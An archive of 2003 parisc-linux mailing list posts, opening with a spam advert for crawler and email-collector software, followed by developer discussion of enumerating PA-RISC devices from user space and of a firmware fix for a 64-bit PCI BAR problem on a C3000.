Message-ID: <NS1SPwQmWO2IskOuN9J00000ce2@ns1>
Reply-To: <herald@ns1.nabitel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;	boundary="----=_NextPart_000_32B4_01C2E942.C276BCB0"
X-Trace: ger.gmane.org 1416622280 22825 80.91.229.3 (22 Nov 2014 02:11:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:20 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 17:35:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns1 (unknown [211.192.186.198])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09B684834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 17:30:11 -0700 (MST)
Original-Received: from mail pickup service by ns1 with Microsoft SMTPSVC;
	 Thu, 13 Mar 2003 09:27:26 +0900
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-OriginalArrivalTime: 13 Mar 2003 00:27:26.0348 (UTC) FILETIME=[52CC44C0:01C2E8F7]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17916

This is a multi-part message in MIME format.

------=_NextPart_000_32B4_01C2E942.C276BCB0
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: quoted-printable


Sorry for interrupting you - click refuse
<mailto:mailer@ns1.nabitel.com>  for no more mail... =09
=A1=A1 =09
- Welcome to NabiTel's <http://www.nabitel.com/English.asp>  software
products and portal services - =09
Software Products =09
 <http://www.DollarFront.com/English.asp>=20

Web Robot: also called web spider or web crawler, collects useful web
page information by navigating world wide web sites. Purchase now only
by $20!

Download free trial version now !
<http://www.DollarFront.com/English.asp>=20

 <http://www.DollarFront.com/English.asp>  	eMail ID
Collector/Sender: Collects/sends email ids publicly opened on various
web pages, with good intention. Purchase both programs only by $10!=20

Download free trial version now !
<http://www.DollarFront.com/English.asp>=20

 <http://www.DollarFront.com/English.asp>  =09
Web Server Performance Tester: Do you want to verify whether your or
customers web server has sufficient capacity? You have to pay a lots of
money to do so! Use our Web Stress! Its very cheap but very powerful and
practical! The price? Only $5! Purchase it now! You can create new
business items with Web Stress.=20

Download free trial version now !
<http://www.DollarFront.com/English.asp> =20
Portal Services =09
 <http://www.domainlinkers.com/English.asp>  	Domain Auction: Do you
want to sell or buy Internet domains? The DomainLinkers.com is the best
place to deal your domains! Do no t hesitate to visit NOW!

Sell or Buy Internet Domains !
<http://www.domainlinkers.com/English.asp>=20

Have a nice day.  Thank you. =09

------=_NextPart_000_32B4_01C2E942.C276BCB0
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: quoted-printable

<html><head>   <title>Nabitel information broadcast mail</title>   <meta =
http-equiv=3D"Content-Type" content=3D"text/html; =
charset=3Deuc-kr"></head><body bgcolor=3D"white" text=3D"blue" =
link=3D"blue" vlink=3D"purple" alink=3D"red"><br><div align=3D"center">  =
<center>   <table border=3D"0" width=3D"538" height=3D"47" =
cellspacing=3D"0" bgcolor=3D"#FFFFCC" cellpadding=3D"0">   <tr>      <td =
height=3D27 align=3Dcenter valign=3Dmiddle bgcolor=3D#00CCFF width=3D536 =
colspan=3D2>        <font color=3D"#FFFFFF" size=3D"2"><b>Sorry for =
interrupting you - click <a =
href=3D"mailto:mailer@ns1.nabitel.com">refuse</a> for no more =
mail...</b></font>        </td>   </tr>   <tr>      <td height=3D27 =
align=3Dcenter valign=3Dmiddle width=3D536 colspan=3D2 =
bordercolor=3D"#FFFFFF">        =A1=A1      </td>   </tr>   <tr>      =
<td height=3D27 align=3Dcenter valign=3Dmiddle bgcolor=3D#FF0000 =
width=3D536 colspan=3D2>        <font color=3D"#FFFFFF" size=3D"2"><b>- =
Welcome to <a href=3D"http://www.nabitel.com/English.asp" =
target=3D"_blank">NabiTel's</a>                   software products and =
portal services -</b></font>               </td>   </tr>   <tr>      <td =
height=3D26 align=3Dcenter valign=3Dmiddle bgcolor=3D#EEEEEE width=3D534 =
bordercolor=3D"#00FFFF" colspan=3D"2">        <b><font color=3D"#00CCFF" =
size=3D"2">Software Products</font></b>       </td>   </tr>   <tr>      =
<td height=3D72 align=3Dcenter valign=3Dmiddle bgcolor=3D#FFFF00 =
width=3D160 bordercolor=3D"#00FFFF">        <p align=3D"center"><font =
size=3D"2"><a href=3D"http://www.DollarFront.com/English.asp" =
target=3D"_blank"><img =
src=3Dhttp://www.allthatcomputers.com/image/robot3.jpg width=3D156 =
height=3D91 align=3Dleft></a></font></p>      </td>  </center>      <td =
height=3D72 align=3Dcenter valign=3Dmiddle bgcolor=3D#FFFF00 width=3D374 =
bordercolor=3D"#00FFFF">        <p align=3D"center"><font =
size=3D"2"><b>Web Robot:</b> also called web          spider or web =
crawler, collects useful web page information by          navigating =
world wide web sites. Purchase now only by <font =
color=3D"#FF00FF">$20!</font></font></p>        <p =
align=3D"center"><b><a href=3D"http://www.DollarFront.com/English.asp" =
target=3D"_blank"><font size=3D"2">Download         free trial version =
now !</font></a></b></p>      </td>   </tr>  <center>   <tr>      <td =
height=3D53 align=3Dcenter valign=3Dmiddle bgcolor=3D#FFCCFF =
width=3D160>        <font size=3D"2"><a =
href=3D"http://www.DollarFront.com/English.asp" target=3D"_blank"><img =
src=3Dhttp://www.allthatcomputers.com/image/envelope4.jpg width=3D155 =
height=3D95 align=3Dleft></a></font>      </td>      <td height=3D53 =
align=3Dcenter valign=3Dmiddle bgcolor=3D#FFCCFF width=3D374>        <p =
align=3D"center"><font size=3D"2"><b>eMail ID Collector/Sender:</b> =
Collects/sends            email ids publicly opened on various web =
pages, with good intention.         Purchase both programs only by <font =
color=3D"#FF00FF">$10!</font> </font></p>         <p =
align=3D"center"><b><a href=3D"http://www.DollarFront.com/English.asp" =
target=3D"_blank"><font size=3D"2">Download         free trial version =
now !</font></a></b></p>      </td>   </tr>   <tr>      <td height=3D27 =
align=3Dcenter valign=3Dmiddle bgcolor=3D#FFFF00 width=3D162>        <a =
href=3D"http://www.DollarFront.com/English.asp" target=3D"_blank"><img =
src=3D"http://www.allthatcomputers.com/image/PressureTester.jpg" =
width=3D154 height=3D97 align=3D"left"></a>       </td>  </center>      =
<td height=3D27 align=3Dcenter valign=3Dmiddle bgcolor=3D#FFFF00 =
width=3D376>        <p align=3D"center"><font size=3D"2"><b>Web Server =
Performance Tester:</b> Do you want to verify whether your             =
or customers web server has sufficient capacity? You have to pay a lots  =
           of money to do so! Use our <font color=3D"#FF00FF">Web =
Stress</font>! Its             very cheap but very powerful and =
practical! The price? <font color=3D"#FF00FF">Only         =
$5!</font>&nbsp;Purchase it now! You can create new business items with  =
           <font color=3D"#FF00FF">Web Stress</font>.</font> </p>        =
<p align=3D"center"><b><a =
href=3D"http://www.DollarFront.com/English.asp" target=3D"_blank"><font =
size=3D"2">Download         free trial version now !</font></a></b>      =
 </td>   </tr>  <center>   <tr>      <td height=3D27 align=3Dcenter =
valign=3Dmiddle bgcolor=3D#EEEEEE width=3D534 colspan=3D"2">        =
<b><font color=3D"#00CCFF" size=3D"2">Portal Services</font></b>       =
</td>   </tr>   <tr>      <td height=3D81 align=3Dcenter valign=3Dmiddle =
bgcolor=3D#FFCCFF width=3D160>        <font size=3D"2"><a =
href=3D"http://www.domainlinkers.com/English.asp" target=3D"_blank"><img =
src=3Dhttp://www.allthatcomputers.com/image/=C0=AF=B7=B4=C0=C7=BC=BA.jpg =
width=3D153 height=3D86 align=3Dleft></a></font>      </td>      <td =
height=3D81 align=3Dcenter valign=3Dmiddle bgcolor=3D#FFCCFF =
width=3D374>        <p align=3D"center"><font size=3D"2"><b>Domain =
Auction:</b> Do you want to         sell or buy Internet domains? The =
DomainLinkers.com is the best place to         deal your domains! Do no =
t hesitate to visit NOW!</font></p>        <p align=3D"center"><b><a =
href=3D"http://www.domainlinkers.com/English.asp" =
target=3D"_blank"><font size=3D"2">Sell         or Buy Internet Domains =
!</font></a></b></p>        </td>   </tr>  </center>  <center>   <tr>    =
  <td width=3D532 bgcolor=3D#FF0000 valign=3Dmiddle height=3D27 =
align=3Dcenter colspan=3D"2">        <b><font color=3D"#FFFFFF" =
size=3D"2">Have a nice day.&nbsp; Thank you.</font></b>         </td>   =
</tr>      </table>  </center>  </div></body></html>
------=_NextPart_000_32B4_01C2E942.C276BCB0--


From - Thu Nov 08 21:27:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] enumerating devices from user space
Date: Thu, 13 Mar 2003 00:58:19 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20030313005819.GY16414@parcelfarce.linux.theplanet.co.uk>
References: <20030312173235.A4332@typhon.pilat.fr> <20030312164852.GT16414@parcelfarce.linux.theplanet.co.uk> <20030312183000.A4426@typhon.pilat.fr> <200303122150.50302.deller@gmx.de> <20030312233651.74216d8f.vincentl@ec-lyon.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622280 22828 80.91.229.3 (22 Nov 2014 02:11:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:20 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: Lyonel Vincent <vincentl@ec-lyon.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 17:58:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 878124834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 17:58:21 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.12)
	id 18tH35-0000Ls-00; Thu, 13 Mar 2003 00:58:19 +0000
Content-Disposition: inline
In-Reply-To: <20030312233651.74216d8f.vincentl@ec-lyon.fr>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17917

On Wed, Mar 12, 2003 at 11:36:51PM +0100, Lyonel Vincent wrote:
> SCSI, PCI etc. are already enumerated platform-independently (without
> needing pci-utils nor sg-utils, only pci.ids) but they currently seem to
> come "out of the void" as the underlying hardware (LASI, various GSC
> bridges, etc) is not enumerated.

Right -- and you'll get this in 2.5 from sysfs.  Given this, I'm reluctant
to introduce a new file in /proc.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FYA - C3000 adventure
Date: Thu, 13 Mar 2003 00:02:30 -0700
Lines: 71
Approved: news@gmane.org
Message-ID: <20030313070230.GB5865@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622280 22833 80.91.229.3 (22 Nov 2014 02:11:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 13 00:02:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id EFA8C4834; Thu, 13 Mar 2003 00:02:30 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17918

Hi folks,

This is a reminder to check firmware rev's if you have problems
after changing HW configuration...just wanted to share my little
adventure today with C3000.

I added a Tigon3 (broadcom 570x) Gigabit Ethernet card and the
tg3 v1.5 driver wouldn't talk to it:
...
tg3.c:v1.5 (Feb 18, 2003)
tg3: Cannot find proper PCI device base address, aborting.
...
# lspci -vn -s 03:03.0
03:03.0 Class 0200: 14e4:16a7 (rev 02)
	Subsystem: 14e4:0009
	Flags: 66Mhz, medium devsel, IRQ 160
	Memory at <ignored> (64-bit, non-prefetchable) [size=f6010000]
	Capabilities: [40] PCI-X non-bridge device.
	Capabilities: [48] Power Management version 2
	Capabilities: [50] Vital Product Data
	Capabilities: [58] Message Signalled Interrupts: 64bit+ Queue=0/3 Enable

Darn it. The same card worked fine in B180:

00:02.0 Class 0200: 14e4:16a7 (rev 02)
	Subsystem: 14e4:0009
	Flags: bus master, 66Mhz, medium devsel, latency 248, IRQ 98
	Memory at f0ff0000 (64-bit, non-prefetchable) [size=64K]
	Capabilities: [40] PCI-X non-bridge device.
	Capabilities: [48] Power Management version 2
	Capabilities: [50] Vital Product Data
	Capabilities: [58] Message Signalled Interrupts: 64bit+ Queue=0/3 Enable

After powering off all 20 SCSI drives (damn SCSI subsystem is *way*
too verbose), I was finally able to collect a full boot log via dmesg:
...
lba version TR2.0 (0x1) found at 0xfed38000
Can't support LBA older than TR2.1 - continuing under adversity.
WARNING: Ignoring enabled ELMMIO BASE 0xf8000000  SIZE 0xfc000000
PCI: Unable to handle 64-bit address for device 03:03.0
...

(The "Ignoring ELMMIO" is another issue that is related to me being,
uhm, "efficient" ;^) ...in a nutshell it's related to dodging
issues with overlapped MMIO ranges.)

The "Unable to handle 64-bit address" was the clue I needed.
(LESSON: read the *whole* boot log!)

It basically means the upper part of a 64-bit BAR is non zero
and that's not OK for a 32-bit OS (well...it's a physical address).
And that is in fact the case on the C3000:
grundler <511>cat /proc/bus/pci/03/03.0 | od -t x1 -Ax
000000 e4 14 a7 16 52 01 b0 02 02 00 00 02 10 f8 00 00
000010 04 00 00 f6 00 00 40 00 00 00 00 00 00 00 00 00
000020 00 00 00 00 00 00 00 00 00 00 00 00 e4 14 09 00
000030 00 00 00 00 40 00 00 00 00 00 00 00 00 01 40 00

bytes 14-17 should all be zero.
0xf6000004 is the lower half of a 64-bit BAR.

The good news is PF_CBCJ0050 (v5.0 firmware for BCJ-class) says
it fixed exactly this problem:
            - Clears upper 32 bit PCI BAR of a PCI card that has
	      64-bit BAR registers

I currently have v4.6 firmware on my C3000.
I'll be updating my firmware tomorrow. :^)

grant


From - Thu Nov 08 21:27:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] enumerating devices from user space
Date: Thu, 13 Mar 2003 00:23:02 -0800 (PST)
Lines: 168
Approved: news@gmane.org
Message-ID: <20030313082302.19126.qmail@web12502.mail.yahoo.com>
References: <20030312233651.74216d8f.vincentl@ec-lyon.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-960209626-1047543782=:19054"
X-Trace: ger.gmane.org 1416622280 22835 80.91.229.3 (22 Nov 2014 02:11:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 13 01:23:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12502.mail.yahoo.com (web12502.mail.yahoo.com [216.136.173.194])
	by dsl2.external.hp.com (Postfix) with SMTP id 90F894834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Mar 2003 01:23:03 -0700 (MST)
Original-Received: from [12.24.253.152] by web12502.mail.yahoo.com via HTTP; Thu, 13 Mar 2003 00:23:02 PST
In-Reply-To: <20030312233651.74216d8f.vincentl@ec-lyon.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17919

--0-960209626-1047543782=:19054
Content-Type: text/plain; charset=us-ascii


Being as I just got done with a class from HP Education on Linux, this very issue was brought up by all of us HP-UX guys.  We love our IOSCAN.  The instructor told us that someone within HP actually wrote an "ioscan" for Red Hat.  I'm thinking that getting a copy of that source code would be a good place to start.  I'm going to do a search for the guy tomorrow or get his name from our instructor to see if I can get a hold of his code.
derek
 Lyonel Vincent <vincentl@ec-lyon.fr> wrote:Hello Helge,

The goal is precisely that: *accurately* report installed hardware
(including the "standard" stuff) and how it's connected in a *unified*
way, without having to use dozens of inconsistent tools (pci-utils,
lsusb, sg-utils, cat, grep, black magic, etc.).
A good example of this being HP-UX's ioscan. DMI-aware PCs also have a
similar feature.

SCSI, PCI etc. are already enumerated platform-independently (without
needing pci-utils nor sg-utils, only pci.ids) but they currently seem to
come "out of the void" as the underlying hardware (LASI, various GSC
bridges, etc) is not enumerated.
Concerning the obvious /proc/cpuinfo, its info is reported too (on
PA-RISC, x86, IA-64, PowerPC and Alpha).

In short, that's why I'd like to access ioscan-like data under PA-RISC
Linux from user space.

cheers,
lv.

On Wed, 12 Mar 2003 21:50:50 +0100
Helge Deller wrote:

> Hi,
> 
> I think the most intesting thing is the name of the system, which is
> (untested!) in /proc/cpuinfo (should give you "Raven U 240
> (9000/780/C240)").
> 
> The rest is mostly and often standard serial, parallel, SCSI, pci
> (pci-utils!), and some strange GSC cards (which often give you some of
> the above devices).
> 
> Regards,
> Helge
> 
> On Wednesday 12 March 2003 18:30, Lyonel Vincent wrote:
> > many thanks for the prompt answer
> >
> > well... that's exactly the answer I didn't want to ear ;o)
> > lshw can't reasonably assume that /var/log/dmesg exists and is
> > correct (or even dmesg) and dig into the trash.
> >
> > My kernel programming skills are extremely limited (not to say
> > inexistent) but how difficult would it be to expose this information
> > to user space through /proc? (AFAICT, we already have PA-RISC
> > specific files like/proc/bus/runway) A simplistic format like
> > \t etc. would do.
> > Do you think it'd be useful to make that kind of information
> > available to user- space? (besides lshw of course ;op) If it's the
> > case I'll try to do my best...
> >
> > cheers,
> > lv.
> >
> > On Wed, Mar 12, 2003 at 04:48:52PM +0000, Matthew Wilcox wrote:
> > > On Wed, Mar 12, 2003 at 05:32:36PM +0100, Lyonel Vincent wrote:
> > > > I'm currently implementing a small tool called lshw (you can
> > > > find it on Freshmeat) that enumerates installed devices on a
> > > > machine and reports them as a device tree (text, HTML and XML).
> > >
> > > That's cool.
> > >
> > > > For now it knows about DMI, PCI busses, SCSI, IDE and PCMCIA and
> > > > I would like to port it to PA-RISC Linux. I already get some
> > > > very basic info from /proc/cpuinfo.
> > > > Does anyone know how I can access the device tree as seen by the
> > > > kernel? (much like HP-UX's ioscan does and what is shown in
> > > > dmesg)
> > >
> > > You can look in /var/log/dmesg. For example...
> > >
> > > Found devices:
> > > 1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580,
> > > 0xf, 0xb 2. Dino PCI Bridge (13) at 0xf2000000 [8/0], versions
> > > 0x680, 0x0, 0xa, additional addresses: 0xf2800000 3. Raven U/L2
> > > Dino PS/2 Port (10) at 0xf2001000 [8/1], versions 0x6, 0x0, 0x96
> > > 4. Raven U/L2 Dino RS-232 (10) at 0xf2003000 [8/3], versions 0x6,
> > > 0x0, 0x8c 5. Raven U/L2 Core FW-SCSI(4) at 0xf200c000 [8/12],
> > > versions 0x3b, 0x0, 0x89 6. Raven U/L2 Core BA(11) at 0xffd00000
> > > [8/16], versions 0x3b, 0x0, 0x81, additional addresses:
> > > 0xffd0c000 0xffc00000 7. Raven U/L2 Core Centronics (10) at
> > > 0xffd02000 [8/16/0], versions 0x3b, 0x0, 0x74, additional
> > > addresses: 0xffd01000 0xffd03000 8. Raven U/L2 Core Audio (10) at
> > > 0xffd04000[8/16/1], versions 0x3b, 0x4, 0x7b 9. Raven U/L2 Core
> > > RS-232 (10) at 0xffd05000 [8/16/4], versions 0x3b, 0x0, 0x8c 10.
> > > Raven U/L2 Core SCSI(10) at 0xffd06000 [8/16/5], versions 0x3b,
> > > 0x0, 0x82 11. Raven U/L2 Core LAN (802.3) (10) at 0xffd07000
> > > [8/16/6], versions 0x3b, 0x0, 0x8a 12. Raven U/L2 Core PS/2 Port
> > > (10) at 0xffd08000 [8/16/7], versions 0x3b, 0x0, 0x84 13. Raven
> > > U/L2 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x3b,
> > > 0x0, 0x84 14. Raven Backplane Wax BA (11) at 0xffe00000[8/20],
> > > versions 0x17, 0x0, 0x8e 15. Raven Backplane Wax HIL (10) at
> > > 0xffe01000 [8/20/1], versions 0x17, 0x0, 0x73 16. Raven Backplane
> > > RS-232(10) at 0xffe02000 [8/20/2], versions 0x17, 0x0, 0x8c 17.
> > > Raven Backplane Wax EISA BA (11) at 0xfc000000 [8/20/5], versions
> > > 0x17, 0x0, 0x90, additional addresses: 0xffc88000 0xfc00000b 18.
> > > Gecko GSC Core Graphics(10) at 0xfa000000 [8/24], versions 0x16,
> > > 0x0, 0x85, additional addresses: 0xf0026000 19. U2-IOA BC GSC+
> > > Port (7) at 0xf203f000 [8/63], versions 0x501, 0x1, 0xc 20. U2-IOA
> > > BC Runway Port (12) at 0xfff8a000[10], versions 0x580, 0xf, 0xb
> > > 21. U2-IOA BC GSC+ Port (7) at 0xf103f000[10/63], versions 0x501,
> > > 0x1, 0xc 22. Raven U 240 (9000/780/C240) (0) at 0xfffa0000 [32],
> > > versions 0x599, 0x0, 0x4 23. Memory (1) at 0xfffb1000[49],
> > > versions 0x6f, 0x0, 0x9
> > >
> > > The numbers in [] tell you what the tree looks like. In this
> > > example, we have 4 top-level devices: #1, #20, #22 & #23.
> > >
> > > > I've tried digging in /proc without much success... is there a
> > > > way to get this information from user space? PPC Linux exposes
> > > > the device tree in /proc for example. A mechanism similar to
> > > > /proc/bus/pci/devices(machine- parseable text) would be great,
> > > > too.
> > >
> > > In 2.5, this information's available via sysfs. I don't think
> > > we'll expose it in /proc.
> > >
> > > > PS: I noticed that /proc/iomem lists 00000000-000009ff as "PDC
> > > > data(Page Zero)", is there a chance I can find what I need
> > > > there? (I dd-ed it from /dev/mem but I can't say if it contains
> > > > useful data...)
> > >
> > > No, you need to actually make firmware calls and you can't do that
> > > from user mode.
> > >
> > > --
> > > "It's not Hollywood. War is real, war is primarily not about
> > > defeat or victory, it is about death. I've seen thousands and
> > > thousands of dead bodies. Do you think I want to have an academic
> > > debate on this subject?"-- Robert Fisk
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Web Hosting - establish your business online
--0-960209626-1047543782=:19054
Content-Type: text/html; charset=us-ascii

<P>Being as I just got done with a class from HP Education on Linux, this very issue was brought up by all of us HP-UX guys.&nbsp; We love our IOSCAN.&nbsp; The instructor told us that someone within HP actually wrote an "ioscan" for Red Hat.&nbsp; I'm thinking that getting a copy of that source code would be a good place to start.&nbsp; I'm going to do a search for the guy tomorrow or get his name from our instructor to see if I can get a hold of his code.
<P>derek
<P>&nbsp;<B><I>Lyonel Vincent &lt;vincentl@ec-lyon.fr&gt;</I></B> wrote:
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">Hello Helge,<BR><BR>The goal is precisely that: *accurately* report installed hardware<BR>(including the "standard" stuff) and how it's connected in a *unified*<BR>way, without having to use dozens of inconsistent tools (pci-utils,<BR>lsusb, sg-utils, cat, grep, black magic, etc.).<BR>A good example of this being HP-UX's ioscan. DMI-aware PCs also have a<BR>similar feature.<BR><BR>SCSI, PCI etc. are already enumerated platform-independently (without<BR>needing pci-utils nor sg-utils, only pci.ids) but they currently seem to<BR>come "out of the void" as the underlying hardware (LASI, various GSC<BR>bridges, etc) is not enumerated.<BR>Concerning the obvious /proc/cpuinfo, its info is reported too (on<BR>P
 A-RISC, x86, IA-64, PowerPC and Alpha).<BR><BR>In short, that's why I'd like to access ioscan-like data under PA-RISC<BR>Linux from user space.<BR><BR>cheers,<BR>lv.<BR><BR>On Wed, 12 Mar 2003 21:50:50 +0100<BR>Helge Deller <DELLER@GMX.DE>wrote:<BR><BR>&gt; Hi,<BR>&gt; <BR>&gt; I think the most intesting thing is the name of the system, which is<BR>&gt; (untested!) in /proc/cpuinfo (should give you "Raven U 240<BR>&gt; (9000/780/C240)").<BR>&gt; <BR>&gt; The rest is mostly and often standard serial, parallel, SCSI, pci<BR>&gt; (pci-utils!), and some strange GSC cards (which often give you some of<BR>&gt; the above devices).<BR>&gt; <BR>&gt; Regards,<BR>&gt; Helge<BR>&gt; <BR>&gt; On Wednesday 12 March 2003 18:30, Lyonel Vincent wrote:<BR>&gt; &gt; many thanks for the prompt answer<BR>&gt
 ; &gt;<BR>&gt; &gt; well... that's exactly the answer I didn't want to ear ;o)<BR>&gt; &gt; lshw can't reasonably assume that /var/log/dmesg exists and is<BR>&gt; &gt; correct (or even dmesg) and dig into the trash.<BR>&gt; &gt;<BR>&gt; &gt; My kernel programming skills are extremely limited (not to say<BR>&gt; &gt; inexistent) but how difficult would it be to expose this information<BR>&gt; &gt; to user space through /proc? (AFAICT, we already have PA-RISC<BR>&gt; &gt; specific files like/proc/bus/runway) A simplistic format like<BR>&gt; &gt; <HWPATH>\t<TYPE> <INSTANCE><HVERSION><SVERSION>etc. would do.<BR>&gt; &gt; Do you think it'd be useful to make that kind of information<BR>&gt; &gt; available to user- space? (besides lshw of course ;op) If it's the<BR>&gt; &gt; case I'll try to do
